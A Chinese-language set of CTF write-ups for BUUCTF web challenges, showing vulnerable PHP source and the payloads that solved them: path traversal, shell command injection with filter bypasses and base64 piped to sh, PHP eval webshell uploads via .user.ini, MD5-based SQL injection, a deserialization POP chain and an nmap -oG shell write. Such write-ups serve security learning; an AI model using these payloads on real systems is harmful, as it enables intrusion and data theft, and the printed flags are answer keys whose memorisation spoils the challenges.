BUUCTF-Web

[HCTF 2018]WarmUp

CVE-2018-12613

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);//按?分割字符串,取前半部分
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);//按?分割字符串,取前半部分
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

漏洞出现checkFileurldecode这里,如果让传入的参数为?file=source.php%253f/../xxxxx,source.php是白名单中的值,而%253f?的两次urldecode,在传入参数时,php自动进行一次urldecode,得到source.php%3f/../xxxxx,而后判断不成立,进行第二次urldecode,得到source.php?/../xxxxx,符合过滤条件,因此返回true,而此时的include的参数为source.php%3f/../xxxxx中的source.php%3f被识别成了路径,因此可以进行文件读取

直接传入source.php?/../xxxxx也是可以的,关键是要满足xxx/../xxx

因此payload为?file=source.php?/../../../../../ffffllllaaaagggg

flag为flag{0cbde9b5-3943-4e4b-a8fc-4f453db647a1}

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
if(!empty($_REQUEST['file'])&&is_string($_REQUEST['file'])){
echo file_get_contents($_REQUEST['file']);
}
?>
1
2
http://127.0.0.1/test.php?file=asdf/../flag
flag{asdf}

[GXYCTF2019]Ping Ping Ping

先ls,/?ip=127.0.0.1;ls,得到flag.php和index.php

先尝试对index.php进行读取

  1. 直接读取/?ip=127.0.0.1;cat%20index.php,返回fxck your space!,说明过滤了空格

  2. <>,/?ip=127.0.0.1;cat<,返回fxck your symbol!,说明过滤了<>

  3. {IFS},/?ip=127.0.0.1;cat{IFS},同样返回fxck your symbol!,说明过滤了{}

  4. $IFS$1,/?ip=127.0.0.1;cat$IFS$1,可以正常执行,因此/?ip=127.0.0.1;cat$IFS$1index.php对index.php进行读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}

?>

preg_match("/.*f.*l.*a.*g.*/", $ip说明只要包含flag就会被过滤

方法一:直接进行变量拼接

/?ip=127.0.0.1;b=ag.php;a=fl;cat$IFS$1$a$b

注意$a$b填入内容的不同

方法二:base64

可以将cat flag.php转换成base64后再交由shell执行,但是过滤了bash,可以使用sh进行替换

/?ip=127.0.0.1;cat$IFS$1index.php;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

方法三:反引号

可以使用反引号,反引号间的内容,会被shell先执行,其输出被放入主命令后,主命令再被执行

1
/?ip=127.0.0.1;cat$IFS$1`ls`

均可以得到flag为flag{adafea35-8849-48ab-a900-e997ee117159}

[RoarCTF 2019]Easy Calc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>简单的计算器</title>

<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="./libs/bootstrap.min.css">
<script src="./libs/jquery-3.3.1.min.js"></script>
<script src="./libs/bootstrap.min.js"></script>
</head>
<body>

<div class="container text-center" style="margin-top:30px;">
<h2>表达式</h2>
<form id="calc">
<div class="form-group">
<input type="text" class="form-control" id="content" placeholder="输入计算式" data-com.agilebits.onepassword.user-edited="yes">
</div>
<div id="result"><div class="alert alert-success">
</div></div>
<button type="submit" class="btn btn-primary">计算</button>
</form>
</div>
<!--I've set up WAF to ensure security.-->
<script>
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
</script>

</body></html>
calc.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

当传入给num的参数含有字符时,waf会阻止该请求,但是如果http请求中的calc.php?num被修改为calc.php? num时可以绕过waf,推测为waf仅对num进行了审查,但却没有对 num进行,而在php进行处理时,将空格去除

而绕过blacklist可以用chr进行转换,如要表示",可以将其转换为chr(34),然后用.链接

扫描当前目录? num=var_dump(scandir(dirname(__FILE__)))

扫描根目录? num=var_dump(scandir(chr(47)))

读取flag? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

还可用http走私来进行解题

重复Content-Length

注意这里的?num没有空格

[极客大挑战 2019]BuyFlag

  1. 将Cookie的user设置为1

  2. password=0x194,后面加上一个%00的URLdecode

intval()函数漏洞,is_numeric()漏洞

Intval函数获取变量整数数值,Intval最大的值取决于操作系统,32位系统最大带符号整数范围是-21474836482147483647

在这样的系统上,intval(1000000000000)会返回2147483647

64位系统上,最大带符号的整数值是9223372036854775807

可应用在判断数值是不是回文上,如果参数为2147483647,那么当它反过来,由于超出了限制,所以依然等于2147483647,即为回文

is_numeric()判断变量是否为数字或数字字符串,不仅检查10进制,16进制是可以

is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后

  1. money=2E9999,绕过money的长度限制并满足money的最低要求

[极客大挑战 2019]Upload

  1. 存在文件后缀过滤,用phtml绕过

  2. 文件内容中存在<?检查,用<script language="pHp">@eval($_POST['a'])</script>绕过

即可getshell

[SUCTF 2019]CheckIn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Upload Labs</title>
</head>

<body>
<h2>Upload Labs</h2>
<form action="index.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="fileUpload" id="file"><br>
<input type="submit" name="upload" value="提交">
</form>
</body>

</html>

<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
$tmp_name = $_FILES["fileUpload"]["tmp_name"];
$name = $_FILES["fileUpload"]["name"];
if (!$tmp_name) {
die("filesize too big!");
}
if (!$name) {
die("filename cannot be empty!");
}
$extension = substr($name, strrpos($name, ".") + 1);
if (preg_match("/ph|htacess/i", $extension)) {
die("illegal suffix!");
}
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("&lt;? in contents!");
}
$image_type = exif_imagetype($tmp_name);
if (!$image_type) {
die("exif_imagetype:not image!");
}
$upload_file_path = $userdir . "/" . $name;
move_uploaded_file($tmp_name, $upload_file_path);
echo "Your dir " . $userdir. ' <br>';
echo 'Your files : <br>';
var_dump(scandir($userdir));
}
  1. 存在后缀过滤,过滤了ph*.htaccess文件

  2. 存在exif_imagetype检查

  3. 文件内容中存在<?检查

要绕过1,可以上传.uesr.ini文件(可以由用户自定义的php.ini)

参考文章

不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法

构造一个格式如下的.user.ini

1
2
GIF89a=123
auto_prepend_file=a.gif

或者为

1
2
GIF89a=123
auto_append_file=a.gif

要绕过3,可以构造一个格式如下的a.gif

1
GIF89a<script language="pHp">@eval($_POST['a'])</script>

即可getshell

[BJDCTF2020]Easy MD5

在响应头中存在Hint: select * from 'admin' where password=md5($pass,true)

md5函数,它有两个参数string和raw

第一个参数string是必需的,规定要计算的字符串

第二个参数raw可选,规定十六进制或二进制输出格式:

  • TRUE – 原始 – 16 字符二进制格式
  • FALSE – 默认 – 32 字符十六进制数

如果可以构造出一个md5结果中包含'or'的字符串即可达成目的

md5129581926211651571912466741651878684928得到\x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8

md5ffifdyop得到'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c

传入ffifdyop即可进入下一关

($a != $b && md5($a) == md5($b)),传两个数组,即可进入下一关

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2']))传两个md5相同的文件即可getflag

[网鼎杯 2020 青龙组]AreUSerialz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

构造POP链

  1. __destruct中进行了强类型比较,因此将op设置为数字2即可绕过限制,而process中的比较是弱类型,可以进行读操作

  2. is_valid限定了传入的字符必须是可见字符,因此不能直接传入%00,这会被阻止,在反序列化时用大写的S替换小写的s即可用16进制表示

因此最终的payload为O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";s:8:"flag.php";S:10:"\00*\00content";N;}

[强网杯 2019]高明的黑客

访问/www.tar.gz得到网站源码,打开得到大量php文件且存在大量webshell,但不是所有webshell均可以使用,需要进行验证

将网站源码放置在docker中,用python脚本对webshell进行遍历,从而提取出可以正常使用的webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import os
import re
import requests

src_dir = "/home/misaka/Downloads/src/"


def list_all_files(rootdir):
all_file = os.listdir(rootdir)
return all_file


def post_or_get(rootdir, file):
post_rule = r"\$_POST\['(.+?)']"
get_rule = r"\$_GET\['(.+?)']"
file_path = rootdir + file
f = open(file_path)
detail = f.read()
post = re.findall(post_rule, detail)
get = re.findall(get_rule, detail)
f.close()
return post, get


def check(file, post, get):
param = "echo 'qwertyuioplkjhgfdsazxcvbnm'"
url = "http://127.0.0.1/" + file
for i in range(len(post)):
r = requests.post(url, data={post[i]: param})
if 'qwertyuioplkjhgfdsazxcvbnm' in r.text:
print(file, post[i], "post")
for i in range(len(get)):
r = requests.get(url, params={get[i]: param})
if 'qwertyuioplkjhgfdsazxcvbnm' in r.text:
print(file, get[i], "get")


file_list = list_all_files(src_dir)
post_list = []
get_list = []

for i in file_list:
post, get = post_or_get(src_dir, i)
post_list.append(post)
get_list.append(get)

# print(len(file_list), len(post_list), len(get_list))

for i in range(len(file_list)):
check(file_list[i], post_list[i], get_list[i])

得到的webshell为xk0SzyKwfzw.php Efa5BVG get

因此可以通过该webshell来对flag进行读取

[BUUCTF 2018]Online Tool

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

escapeshellcmd()escapeshellarg()一起使用会存在问题,见PHP-Study中的escapeshell

nmap可以用-oG来写入文件

payload为?host=' <?php echo 123;?> -oG a.php ',注意前面的空格用来避免\的转义,而后面的空格用来避免生成文件名时的额外\

访问沙盒中的a.php发现成功输出123,说明已经成功写入

最终的payload为

1
host=' <?php echo `cat /flag`;?> -oG a.php '